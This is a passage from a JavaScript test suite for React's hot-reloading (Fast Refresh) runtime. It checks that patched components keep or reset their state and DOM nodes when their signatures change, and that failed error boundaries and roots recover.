</HelloV1>\n          ,\n        </div>,\n        <HelloV1>\n          <HelloV1>\n            <Bailout>\n              <span />\n              <HelloV1>\n                <span />\n              </HelloV1>\n              <span />\n            </Bailout>\n          </HelloV1>\n        </HelloV1>,\n        <div>\n          <span />\n          <HelloV1 key=\"0\" />\n          <HelloV1 key=\"1\" />\n          <HelloV1 key=\"2\" />\n          <span />\n        </div>,\n        <div>\n          <span />\n          {null}\n          <HelloV1 key=\"1\" />\n          {null}\n          <HelloV1 />\n          <HelloV1 />\n          <span />\n        </div>,\n        <div>\n          <HelloV1 key=\"2\" />\n          <span />\n          <HelloV1 key=\"0\" />\n          <span />\n          <HelloV1 key=\"1\" />\n        </div>,\n        <div>\n          {[[<HelloV1 key=\"2\" />]]}\n          <span>\n            <HelloV1 key=\"0\" />\n            {[null]}\n            <HelloV1 key=\"1\" />\n          </span>\n        </div>,\n        <div>\n          {['foo', <HelloV1 key=\"hi\" />, null, <HelloV1 key=\"2\" />]}\n          <span>\n            {[null]}\n            <HelloV1 key=\"x\" />\n          </span>\n        </div>,\n        <HelloV1>\n          <HelloV1>\n            <span />\n            <Bailout>\n              <HelloV1>hi</HelloV1>\n              <span />\n            </Bailout>\n          </HelloV1>\n        </HelloV1>,\n      ];\n\n      await act(() => {\n        root.render(null);\n      });\n\n      for (let i = 0; i < trees.length; i++) {\n        await runRemountingStressTest(trees[i]);\n      }\n\n      // Then check that each tree is resilient to updates from another tree.\n      for (let i = 0; i < trees.length; i++) {\n        for (let j = 0; j < trees.length; j++) {\n          await act(() => {\n            root.render(null);\n          });\n\n          // Intentionally don't clean up between the tests:\n          await runRemountingStressTest(trees[i]);\n          await runRemountingStressTest(trees[j]);\n          await runRemountingStressTest(trees[i]);\n        }\n      }\n    }\n  }, 10000);\n\n  async function runRemountingStressTest(tree) {\n    await patch(() => {\n      function Hello({children}) {\n        return <section data-color=\"blue\">{children}</section>;\n      }\n      $RefreshReg$(Hello, 'Hello');\n      $RefreshSig$(Hello, '1');\n      return Hello;\n    });\n\n    await act(() => {\n      root.render(tree);\n    });\n\n    const elements = container.querySelectorAll('section');\n    // Each tree above produces exactly three <section> elements:\n    expect(elements.length).toBe(3);\n    elements.forEach(el => {\n      expect(el.dataset.color).toBe('blue');\n    });\n\n    // Patch color without changing the signature.\n    await patch(() => {\n      function Hello({children}) {\n        return <section data-color=\"red\">{children}</section>;\n      }\n      $RefreshReg$(Hello, 'Hello');\n      $RefreshSig$(Hello, '1');\n      return Hello;\n    });\n\n    const elementsAfterPatch = container.querySelectorAll('section');\n    expect(elementsAfterPatch.length).toBe(3);\n    elementsAfterPatch.forEach((el, index) => {\n      // The signature hasn't changed so we expect DOM nodes to stay the same.\n      expect(el).toBe(elements[index]);\n      // However, the color should have changed:\n      expect(el.dataset.color).toBe('red');\n    });\n\n    // Patch color *and* change the signature.\n    await patch(() => {\n      function Hello({children}) {\n        return <section data-color=\"orange\">{children}</section>;\n      }\n      $RefreshReg$(Hello, 'Hello');\n      $RefreshSig$(Hello, '2'); // Remount\n      return Hello;\n    });\n\n    const elementsAfterRemount = container.querySelectorAll('section');\n    expect(elementsAfterRemount.length).toBe(3);\n    elementsAfterRemount.forEach((el, index) => {\n      // The signature changed so we expect DOM nodes to be different.\n      expect(el).not.toBe(elements[index]);\n      // They should all be using the new color:\n      expect(el.dataset.color).toBe('orange');\n    });\n\n    // Now patch color but *don't* change the signature.\n    await patch(() => {\n      function Hello({children}) {\n        return <section data-color=\"black\">{children}</section>;\n      }\n      $RefreshReg$(Hello, 'Hello');\n      $RefreshSig$(Hello, '2'); // Same signature as before\n      return Hello;\n    });\n\n    expect(container.querySelectorAll('section').length).toBe(3);\n    container.querySelectorAll('section').forEach((el, index) => {\n      // The signature didn't change so DOM nodes should stay the same.\n      expect(el).toBe(elementsAfterRemount[index]);\n      // They should all be using the new color:\n      expect(el.dataset.color).toBe('black');\n    });\n\n    await act(() => {\n      root.render(tree);\n    });\n\n    expect(container.querySelectorAll('section').length).toBe(3);\n    container.querySelectorAll('section').forEach((el, index) => {\n      expect(el).toBe(elementsAfterRemount[index]);\n      expect(el.dataset.color).toBe('black');\n    });\n  }\n\n  it('can remount on signature change within a <root> wrapper', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => Hello);\n    }\n  });\n\n  it('can remount on signature change within a simple memo wrapper', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => React.memo(Hello));\n    }\n  });\n\n  it('can remount on signature change within a lazy simple memo wrapper', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello =>\n        React.lazy(() => ({\n          then(cb) {\n            cb({default: React.memo(Hello)});\n          },\n        })),\n      );\n    }\n  });\n\n  it('can remount on signature change within forwardRef', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => React.forwardRef(Hello));\n    }\n  });\n\n  it('can remount on signature change within forwardRef render function', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello =>\n        React.forwardRef(() => <Hello />),\n      );\n    }\n  });\n\n  it('can remount on signature change within nested memo', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello =>\n        React.memo(React.memo(React.memo(Hello))),\n      );\n    }\n  });\n\n  it('can remount on signature change within a memo wrapper and custom comparison', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => React.memo(Hello, () => true));\n    }\n  });\n\n  it('can remount on signature change within a class', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        const child = <Hello />;\n        return class Wrapper extends React.PureComponent {\n          render() {\n            return child;\n          }\n        };\n      });\n    }\n  });\n\n  it('can remount on signature change within a context provider', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        const Context = React.createContext();\n        const child = (\n          <Context.Provider value=\"constant\">\n            <Hello />\n          </Context.Provider>\n        );\n        return function Wrapper() {\n          return child;\n        };\n      });\n    }\n  });\n\n  it('can remount on signature change within a context consumer', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        const Context = React.createContext();\n        const child = <Context.Consumer>{() => <Hello />}</Context.Consumer>;\n        return function Wrapper() {\n          return child;\n        };\n      });\n    }\n  });\n\n  it('can remount on signature change within a suspense node', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        // TODO: we'll probably want to test fallback trees too.\n        const child = (\n          <React.Suspense>\n            <Hello />\n          </React.Suspense>\n        );\n        return function Wrapper() {\n          return child;\n        };\n      });\n    }\n  });\n\n  it('can remount on signature change within a mode node', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        const child = (\n          <React.StrictMode>\n            <Hello />\n          </React.StrictMode>\n        );\n        return function Wrapper() {\n          return child;\n        };\n      });\n    }\n  });\n\n  it('can remount on signature change within a fragment node', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        const child = (\n          <>\n            <Hello />\n          </>\n        );\n        return function Wrapper() {\n          return child;\n        };\n      });\n    }\n  });\n\n  it('can remount on signature change within multiple siblings', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        const child = (\n          <>\n            <>\n              <React.Fragment />\n            </>\n            <Hello />\n            <React.Fragment />\n          </>\n        );\n        return function Wrapper() {\n          return child;\n        };\n      });\n    }\n  });\n\n  it('can remount on signature change within a profiler node', async () => {\n    if (__DEV__) {\n      await testRemountingWithWrapper(Hello => {\n        const child = <Hello />;\n        return function Wrapper() {\n          return (\n            <React.Profiler onRender={() => {}} id=\"foo\">\n              {child}\n            </React.Profiler>\n          );\n        };\n      });\n    }\n  });\n\n  async function testRemountingWithWrapper(wrap) {\n    await render(() => {\n      function Hello() {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      $RefreshReg$(Hello, 'Hello');\n      // When this changes, we'll expect a remount:\n      $RefreshSig$(Hello, '1');\n\n      // Use the passed wrapper.\n      // This will be different in every test.\n      return wrap(Hello);\n    });\n\n    // Bump the state before patching.\n    const el = container.firstChild;\n    expect(el.textContent).toBe('0');\n    expect(el.style.color).toBe('blue');\n    await act(() => {\n      el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n    });\n    expect(el.textContent).toBe('1');\n\n    // Perform a hot update that doesn't remount.\n    await patch(() => {\n      function Hello() {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      $RefreshReg$(Hello, 'Hello');\n      // The signature hasn't changed since the last time:\n      $RefreshSig$(Hello, '1');\n      return Hello;\n    });\n\n    // Assert the state was preserved but color changed.\n    expect(container.firstChild).toBe(el);\n    expect(el.textContent).toBe('1');\n    expect(el.style.color).toBe('red');\n\n    // Perform a hot update that remounts.\n    await patch(() => {\n      function Hello() {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'yellow'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      // We're changing the signature now so it will remount:\n      $RefreshReg$(Hello, 'Hello');\n      $RefreshSig$(Hello, '2');\n      return Hello;\n    });\n\n    // Expect a remount.\n    expect(container.firstChild).not.toBe(el);\n    const newEl = container.firstChild;\n    expect(newEl.textContent).toBe('0');\n    expect(newEl.style.color).toBe('yellow');\n\n    // Bump state again.\n    await act(() => {\n      newEl.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n    });\n    expect(newEl.textContent).toBe('1');\n    expect(newEl.style.color).toBe('yellow');\n\n    // Verify we can patch again while preserving the signature.\n    await patch(() => {\n      function Hello() {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'purple'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      // Same signature as last time.\n      $RefreshReg$(Hello, 'Hello');\n      $RefreshSig$(Hello, '2');\n      return Hello;\n    });\n\n    expect(container.firstChild).toBe(newEl);\n    expect(newEl.textContent).toBe('1');\n    expect(newEl.style.color).toBe('purple');\n\n    // Check removing the signature also causes a remount.\n    await patch(() => {\n      function Hello() {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      // No signature this time.\n      $RefreshReg$(Hello, 'Hello');\n      return Hello;\n    });\n\n    // Expect a remount.\n    expect(container.firstChild).not.toBe(newEl);\n    const finalEl = container.firstChild;\n    expect(finalEl.textContent).toBe('0');\n    expect(finalEl.style.color).toBe('orange');\n  }\n\n  it('resets hooks with dependencies on hot reload', async () => {\n    if (__DEV__) {\n      let useEffectWithEmptyArrayCalls = 0;\n\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          const tranformed = React.useMemo(() => val * 2, [val]);\n          const handleClick = React.useCallback(() => setVal(v => v + 1), []);\n\n          React.useEffect(() => {\n            useEffectWithEmptyArrayCalls++;\n          }, []);\n\n          return (\n            <p style={{color: 'blue'}} onClick={handleClick}>\n              {tranformed}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      expect(useEffectWithEmptyArrayCalls).toBe(1); // useEffect ran\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('2'); // val * 2\n      expect(useEffectWithEmptyArrayCalls).toBe(1); // useEffect didn't re-run\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          const tranformed = React.useMemo(() => val * 10, [val]);\n          const handleClick = React.useCallback(() => setVal(v => v - 1), []);\n\n          React.useEffect(() => {\n            useEffectWithEmptyArrayCalls++;\n          }, []);\n\n          return (\n            <p style={{color: 'red'}} onClick={handleClick}>\n              {tranformed}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Assert the state was preserved but memo was evicted.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('10'); // val * 10\n      expect(el.style.color).toBe('red');\n      expect(useEffectWithEmptyArrayCalls).toBe(2); // useEffect re-ran\n\n      // This should fire the new callback which decreases the counter.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('red');\n      expect(useEffectWithEmptyArrayCalls).toBe(2); // useEffect didn't re-run\n    }\n  });\n\n  // This pattern is inspired by useSubscription and similar mechanisms.\n  it('does not get into infinite loops during render phase updates', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello() {\n          const source = React.useMemo(() => ({value: 10}), []);\n          const [state, setState] = React.useState({value: null});\n          if (state !== source) {\n            setState(source);\n          }\n          return <p style={{color: 'blue'}}>{state.value}</p>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      const el = container.firstChild;\n      expect(el.textContent).toBe('10');\n      expect(el.style.color).toBe('blue');\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello() {\n          const source = React.useMemo(() => ({value: 20}), []);\n          const [state, setState] = React.useState({value: null});\n          if (state !== source) {\n            // This should perform a single render-phase update.\n            setState(source);\n          }\n          return <p style={{color: 'red'}}>{state.value}</p>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('20');\n      expect(el.style.color).toBe('red');\n    }\n  });\n\n  // @gate enableLegacyHidden && __DEV__\n  it('can hot reload offscreen components', async () => {\n    const AppV1 = prepare(() => {\n      function Hello() {\n        React.useLayoutEffect(() => {\n          Scheduler.log('Hello#layout');\n        });\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      $RefreshReg$(Hello, 'Hello');\n\n      return function App({offscreen}) {\n        React.useLayoutEffect(() => {\n          Scheduler.log('App#layout');\n        });\n        return (\n          <LegacyHiddenDiv mode={offscreen ? 'hidden' : 'visible'}>\n            <Hello />\n          </LegacyHiddenDiv>\n        );\n      };\n    });\n\n    root.render(<AppV1 offscreen={true} />);\n    await waitFor(['App#layout']);\n    const el = container.firstChild;\n    expect(el.hidden).toBe(true);\n    expect(el.firstChild).toBe(null); // Offscreen content not flushed yet.\n\n    // Perform a hot update.\n    patchSync(() => {\n      function Hello() {\n        React.useLayoutEffect(() => {\n          Scheduler.log('Hello#layout');\n        });\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      $RefreshReg$(Hello, 'Hello');\n    });\n\n    // It's still offscreen so we don't see anything.\n    expect(container.firstChild).toBe(el);\n    expect(el.hidden).toBe(true);\n    expect(el.firstChild).toBe(null);\n\n    // Process the offscreen updates.\n    await waitFor(['Hello#layout']);\n    expect(container.firstChild).toBe(el);\n    expect(el.firstChild.textContent).toBe('0');\n    expect(el.firstChild.style.color).toBe('red');\n\n    await act(() => {\n      el.firstChild.dispatchEvent(\n        new MouseEvent('click', {\n          bubbles: true,\n        }),\n      );\n    });\n\n    assertLog(['Hello#layout']);\n    expect(el.firstChild.textContent).toBe('1');\n    expect(el.firstChild.style.color).toBe('red');\n\n    // Hot reload while we're offscreen.\n    patchSync(() => {\n      function Hello() {\n        React.useLayoutEffect(() => {\n          Scheduler.log('Hello#layout');\n        });\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      }\n      $RefreshReg$(Hello, 'Hello');\n    });\n\n    // It's still offscreen so we don't see the updates.\n    expect(container.firstChild).toBe(el);\n    expect(el.firstChild.textContent).toBe('1');\n    expect(el.firstChild.style.color).toBe('red');\n\n    // Process the offscreen updates.\n    await waitFor(['Hello#layout']);\n    expect(container.firstChild).toBe(el);\n    expect(el.firstChild.textContent).toBe('1');\n    expect(el.firstChild.style.color).toBe('orange');\n  });\n\n  it('remounts failed error boundaries (componentDidCatch)', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello() {\n          return <h1>Hi</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        class Boundary extends React.Component {\n          state = {error: null};\n          componentDidCatch(error) {\n            this.setState({error});\n          }\n          render() {\n            if (this.state.error) {\n              return <h1>Oops: {this.state.error.message}</h1>;\n            }\n            return this.props.children;\n          }\n        }\n\n        function App() {\n          return (\n            <>\n              <p>A</p>\n              <Boundary>\n                <Hello />\n              </Boundary>\n              <p>B</p>\n            </>\n          );\n        }\n\n        return App;\n      });\n\n      expect(container.innerHTML).toBe('<p>A</p><h1>Hi</h1><p>B</p>');\n      const firstP = container.firstChild;\n      const secondP = firstP.nextSibling.nextSibling;\n\n      // Perform a hot update that fails.\n      await patch(() => {\n        function Hello() {\n          throw new Error('No');\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      expect(container.innerHTML).toBe('<p>A</p><h1>Oops: No</h1><p>B</p>');\n      expect(container.firstChild).toBe(firstP);\n      expect(container.firstChild.nextSibling.nextSibling).toBe(secondP);\n\n      // Perform a hot update that fixes the error.\n      await patch(() => {\n        function Hello() {\n          return <h1>Fixed!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      // This should remount the error boundary (but not anything above it).\n      expect(container.innerHTML).toBe('<p>A</p><h1>Fixed!</h1><p>B</p>');\n      expect(container.firstChild).toBe(firstP);\n      expect(container.firstChild.nextSibling.nextSibling).toBe(secondP);\n\n      // Verify next hot reload doesn't remount anything.\n      const helloNode = container.firstChild.nextSibling;\n      await patch(() => {\n        function Hello() {\n          return <h1>Nice.</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.firstChild.nextSibling).toBe(helloNode);\n      expect(helloNode.textContent).toBe('Nice.');\n    }\n  });\n\n  it('remounts failed error boundaries (getDerivedStateFromError)', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello() {\n          return <h1>Hi</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        class Boundary extends React.Component {\n          state = {error: null};\n          static getDerivedStateFromError(error) {\n            return {error};\n          }\n          render() {\n            if (this.state.error) {\n              return <h1>Oops: {this.state.error.message}</h1>;\n            }\n            return this.props.children;\n          }\n        }\n\n        function App() {\n          return (\n            <>\n              <p>A</p>\n              <Boundary>\n                <Hello />\n              </Boundary>\n              <p>B</p>\n            </>\n          );\n        }\n\n        return App;\n      });\n\n      expect(container.innerHTML).toBe('<p>A</p><h1>Hi</h1><p>B</p>');\n      const firstP = container.firstChild;\n      const secondP = firstP.nextSibling.nextSibling;\n\n      // Perform a hot update that fails.\n      await patch(() => {\n        function Hello() {\n          throw new Error('No');\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      expect(container.innerHTML).toBe('<p>A</p><h1>Oops: No</h1><p>B</p>');\n      expect(container.firstChild).toBe(firstP);\n      expect(container.firstChild.nextSibling.nextSibling).toBe(secondP);\n\n      // Perform a hot update that fixes the error.\n      await patch(() => {\n        function Hello() {\n          return <h1>Fixed!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      // This should remount the error boundary (but not anything above it).\n      expect(container.innerHTML).toBe('<p>A</p><h1>Fixed!</h1><p>B</p>');\n      expect(container.firstChild).toBe(firstP);\n      expect(container.firstChild.nextSibling.nextSibling).toBe(secondP);\n\n      // Verify next hot reload doesn't remount anything.\n      const helloNode = container.firstChild.nextSibling;\n      await patch(() => {\n        function Hello() {\n          return <h1>Nice.</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.firstChild.nextSibling).toBe(helloNode);\n      expect(helloNode.textContent).toBe('Nice.');\n    }\n  });\n\n  it('remounts error boundaries that failed asynchronously after hot update', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello() {\n          const [x] = React.useState('');\n          React.useEffect(() => {}, []);\n          x.slice(); // Doesn't throw initially.\n          return <h1>Hi</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        class Boundary extends React.Component {\n          state = {error: null};\n          static getDerivedStateFromError(error) {\n            return {error};\n          }\n          render() {\n            if (this.state.error) {\n              return <h1>Oops: {this.state.error.message}</h1>;\n            }\n            return this.props.children;\n          }\n        }\n\n        function App() {\n          return (\n            <>\n              <p>A</p>\n              <Boundary>\n                <Hello />\n              </Boundary>\n              <p>B</p>\n            </>\n          );\n        }\n\n        return App;\n      });\n\n      expect(container.innerHTML).toBe('<p>A</p><h1>Hi</h1><p>B</p>');\n      const firstP = container.firstChild;\n      const secondP = firstP.nextSibling.nextSibling;\n\n      // Perform a hot update that fails.\n      let crash;\n      await patch(() => {\n        function Hello() {\n          const [x, setX] = React.useState('');\n          React.useEffect(() => {\n            crash = () => {\n              setX(42); // This will crash next render.\n            };\n          }, []);\n          x.slice();\n          return <h1>Hi</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      expect(container.innerHTML).toBe('<p>A</p><h1>Hi</h1><p>B</p>');\n      // Run timeout inside effect:\n      await act(() => {\n        crash();\n      });\n      expect(container.innerHTML).toBe(\n        '<p>A</p><h1>Oops: x.slice is not a function</h1><p>B</p>',\n      );\n      expect(container.firstChild).toBe(firstP);\n      expect(container.firstChild.nextSibling.nextSibling).toBe(secondP);\n\n      // Perform a hot update that fixes the error.\n      await patch(() => {\n        function Hello() {\n          const [x] = React.useState('');\n          React.useEffect(() => {}, []); // Removes the bad effect code.\n          x.slice(); // Doesn't throw initially.\n          return <h1>Fixed!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      // This should remount the error boundary (but not anything above it).\n      expect(container.innerHTML).toBe('<p>A</p><h1>Fixed!</h1><p>B</p>');\n      expect(container.firstChild).toBe(firstP);\n      expect(container.firstChild.nextSibling.nextSibling).toBe(secondP);\n\n      // Verify next hot reload doesn't remount anything.\n      const helloNode = container.firstChild.nextSibling;\n      await patch(() => {\n        function Hello() {\n          const [x] = React.useState('');\n          React.useEffect(() => {}, []);\n          x.slice();\n          return <h1>Nice.</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      expect(container.firstChild.nextSibling).toBe(helloNode);\n      expect(helloNode.textContent).toBe('Nice.');\n    }\n  });\n\n  it('remounts a failed root on mount', async () => {\n    if (__DEV__) {\n      await expect(\n        render(() => {\n          function Hello() {\n            throw new Error('No');\n          }\n          $RefreshReg$(Hello, 'Hello');\n\n          return Hello;\n        }),\n      ).rejects.toThrow('No');\n      expect(container.innerHTML).toBe('');\n\n      // A bad retry\n      await expect(async () => {\n        await patch(() => {\n          function Hello() {\n            throw new Error('Not yet');\n          }\n          $RefreshReg$(Hello, 'Hello');\n        });\n      }).rejects.toThrow('Not yet');\n      expect(container.innerHTML).toBe('');\n\n      // Perform a hot update that fixes the error.\n      await patch(() => {\n        function Hello() {\n          return <h1>Fixed!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      // This should mount the root.\n      expect(container.innerHTML).toBe('<h1>Fixed!</h1>');\n\n      // Ensure we can keep failing and recovering later.\n      await expect(async () => {\n        await patch(() => {\n          function Hello() {\n            throw new Error('No 2');\n          }\n          $RefreshReg$(Hello, 'Hello');\n        });\n      }).rejects.toThrow('No 2');\n      expect(container.innerHTML).toBe('');\n      await expect(async () => {\n        await patch(() => {\n          function Hello() {\n            throw new Error('Not yet 2');\n          }\n          $RefreshReg$(Hello, 'Hello');\n        });\n      }).rejects.toThrow('Not yet 2');\n      expect(container.innerHTML).toBe('');\n      await patch(() => {\n        function Hello() {\n          return <h1>Fixed 2!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.innerHTML).toBe('<h1>Fixed 2!</h1>');\n\n      // Updates after intentional unmount are ignored.\n      await act(() => {\n        root.unmount();\n      });\n      await patch(() => {\n        function Hello() {\n          throw new Error('Ignored');\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.innerHTML).toBe('');\n      await patch(() => {\n        function Hello() {\n          return <h1>Ignored</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.innerHTML).toBe('');\n    }\n  });\n\n  it('does not retry an intentionally unmounted failed root', async () => {\n    if (__DEV__) {\n      await expect(\n        render(() => {\n          function Hello() {\n            throw new Error('No');\n          }\n          $RefreshReg$(Hello, 'Hello');\n\n          return Hello;\n        }),\n      ).rejects.toThrow('No');\n      expect(container.innerHTML).toBe('');\n\n      // Intentional unmount.\n      await act(() => {\n        root.unmount();\n      });\n\n      // Perform a hot update that fixes the error.\n      await patch(() => {\n        function Hello() {\n          return <h1>Fixed!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      // This should stay unmounted.\n      expect(container.innerHTML).toBe('');\n    }\n  });\n\n  it('remounts a failed root on update', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello() {\n          return <h1>Hi</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        return Hello;\n      });\n      expect(container.innerHTML).toBe('<h1>Hi</h1>');\n\n      // Perform a hot update that fails.\n      // This removes the root.\n      await expect(async () => {\n        await patch(() => {\n          function Hello() {\n            throw new Error('No');\n          }\n          $RefreshReg$(Hello, 'Hello');\n        });\n      }).rejects.toThrow('No');\n      expect(container.innerHTML).toBe('');\n\n      // A bad retry\n      await expect(async () => {\n        await patch(() => {\n          function Hello() {\n            throw new Error('Not yet');\n          }\n          $RefreshReg$(Hello, 'Hello');\n        });\n      }).rejects.toThrow('Not yet');\n      expect(container.innerHTML).toBe('');\n\n      // Perform a hot update that fixes the error.\n      await patch(() => {\n        function Hello() {\n          return <h1>Fixed!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      // This should remount the root.\n      expect(container.innerHTML).toBe('<h1>Fixed!</h1>');\n\n      // Verify next hot reload doesn't remount anything.\n      const helloNode = container.firstChild;\n      await patch(() => {\n        function Hello() {\n          return <h1>Nice.</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.firstChild).toBe(helloNode);\n      expect(helloNode.textContent).toBe('Nice.');\n\n      // Break again.\n      await expect(async () => {\n        await patch(() => {\n          function Hello() {\n            throw new Error('Oops');\n          }\n          $RefreshReg$(Hello, 'Hello');\n        });\n      }).rejects.toThrow('Oops');\n      expect(container.innerHTML).toBe('');\n\n      // Perform a hot update that fixes the error.\n      await patch(() => {\n        function Hello() {\n          return <h1>At last.</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      // This should remount the root.\n      expect(container.innerHTML).toBe('<h1>At last.</h1>');\n\n      // Check we don't attempt to reverse an intentional unmount.\n      await act(() => {\n        root.unmount();\n      });\n      expect(container.innerHTML).toBe('');\n      await patch(() => {\n        function Hello() {\n          return <h1>Never mind me!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.innerHTML).toBe('');\n\n      // Mount a new container.\n      root = ReactDOMClient.createRoot(container);\n      await render(() => {\n        function Hello() {\n          return <h1>Hi</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        return Hello;\n      });\n      expect(container.innerHTML).toBe('<h1>Hi</h1>');\n\n      // Break again.\n      await expect(async () => {\n        await patch(() => {\n          function Hello() {\n            throw new Error('Oops');\n          }\n          $RefreshReg$(Hello, 'Hello');\n        });\n      }).rejects.toThrow('Oops');\n      expect(container.innerHTML).toBe('');\n\n      // Check we don't attempt to reverse an intentional unmount, even after an error.\n      await act(() => {\n        root.unmount();\n      });\n      expect(container.innerHTML).toBe('');\n      await patch(() => {\n        function Hello() {\n          return <h1>Never mind me!</h1>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.innerHTML).toBe('');\n    }\n  });\n\n  it('regression test: does not get into an infinite loop', async () => {\n    if (__DEV__) {\n      const containerA = document.createElement('div');\n      const containerB = document.createElement('div');\n      const rootA = ReactDOMClient.createRoot(containerA);\n      const rootB = ReactDOMClient.createRoot(containerB);\n\n      // Initially, nothing interesting.\n      const RootAV1 = () => {\n        return 'A1';\n      };\n      $RefreshReg$(RootAV1, 'RootA');\n      const RootBV1 = () => {\n        return 'B1';\n      };\n      $RefreshReg$(RootBV1, 'RootB');\n\n      await act(() => {\n        rootA.render(<RootAV1 />);\n        rootB.render(<RootBV1 />);\n      });\n      expect(containerA.innerHTML).toBe('A1');\n      expect(containerB.innerHTML).toBe('B1');\n\n      // Then make the first root fail.\n      const RootAV2 = () => {\n        throw new Error('A2!');\n      };\n      $RefreshReg$(RootAV2, 'RootA');\n      await expect(\n        act(() => {\n          ReactFreshRuntime.performReactRefresh();\n        }),\n      ).rejects.toThrow('A2!');\n      expect(containerA.innerHTML).toBe('');\n      expect(containerB.innerHTML).toBe('B1');\n\n      // Then patch the first root, but make it fail in the commit phase.\n      // This used to trigger an infinite loop due to a list of failed roots\n      // being mutated while it was being iterated on.\n      const RootAV3 = () => {\n        React.useLayoutEffect(() => {\n          throw new Error('A3!');\n        }, []);\n        return 'A3';\n      };\n      $RefreshReg$(RootAV3, 'RootA');\n      await expect(\n        act(() => {\n          ReactFreshRuntime.performReactRefresh();\n        }),\n      ).rejects.toThrow('A3!');\n      expect(containerA.innerHTML).toBe('');\n      expect(containerB.innerHTML).toBe('B1');\n\n      const RootAV4 = () => {\n        return 'A4';\n      };\n      $RefreshReg$(RootAV4, 'RootA');\n      await act(() => 